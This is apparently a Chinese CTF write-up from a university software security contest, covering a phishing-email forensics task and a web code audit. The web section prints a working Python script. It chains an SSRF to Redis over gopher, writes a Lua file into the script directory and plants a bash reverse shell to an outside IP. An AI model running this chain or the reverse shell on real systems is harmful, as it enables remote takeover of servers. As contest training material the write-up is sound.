0%

第18届全国大学生软件系统安全赛

第18届全国大学生软件系统安全赛

淮北师范大学二队(华东赛区NO.25)

Misc(1/1)

钓鱼邮件

拿到一个mail.eml邮件取证文件

Notepad打开

图片1

底下有很长的base64,解码是zip文件,下载下来解压文件发现有密码,因为邮件文本内容是生日快乐,所以使用生日大字典进行爆破

图片1

解压之后,里面是个exe文件,用天穹动态分析沙箱分析

图片1

查看到异常的tcp通信,拿到ip和port,md5加密即可

Web(1/1)

代码审计

下载附件获得题目后端源码,按照靶机测试,应该是存在ssrf漏洞

图片1

可以出网,好像只能一次?

尝试访问本地文件

图片1

尝试读取flag不行,看一下附件

图片1

看到存在redis,联想到ssrf+redis可以getshll,看一下redis.conf

密码直接泄露了,不是未授权访问

图片1

main.rua内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end

local content = file:read("*a")
file:close()
return content
end

local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code)
if chunk then
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end

local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end

main()

主要是三个功能,先读取文件内容,执行读取的脚本,加载/script下的脚本

/script下的脚本必须头和尾必须要符合匹配:

1
2
##LUA_START##
##LUA_END##

/script/visit.script的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
ngx.say("URL parameter is missing!")
return
end

local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end

local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end

local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)

local ok, err = pcall(c.perform, c)

if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end

c:close()

local response_str = table.concat(response_body)

local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end

ngx.say(response_str)
##LUA_END##

确实是存在ssrf漏洞,和我们一开始测试的一样

那么在main.lua下是去读取这个文件

如果覆盖该文件为我们的脚本,就可以控制命令执行

flag文件似乎没有读取权限,那就要执行 readflag 程序

参考网上的脚本生成payload

用gpoher协议绝对路径写webshell

SSRF—gopher和dict打redis_gopher dict协议攻击redis-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib.parse

protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = '''\n\n##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/120.233.26.237/43969 0>&1'")##LUA_END##\n\n'''
# \n \t
filename = "visit.script"
path = "/scripts"
passwd = "foobared" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]

# 如果 Redis 有密码,添加 AUTH 命令
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))

payload = protocol + ip + ":" + port + "/_"

# 格式化 Redis 命令
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr)) # Redis 协议中命令的元素数量
for x in redis_arr:
cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd

if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x)) # 对命令进行 URL 编码
print(payload) # 输出构造的 Gopher 请求 URL

成功反弹shell执行 readflag

图片1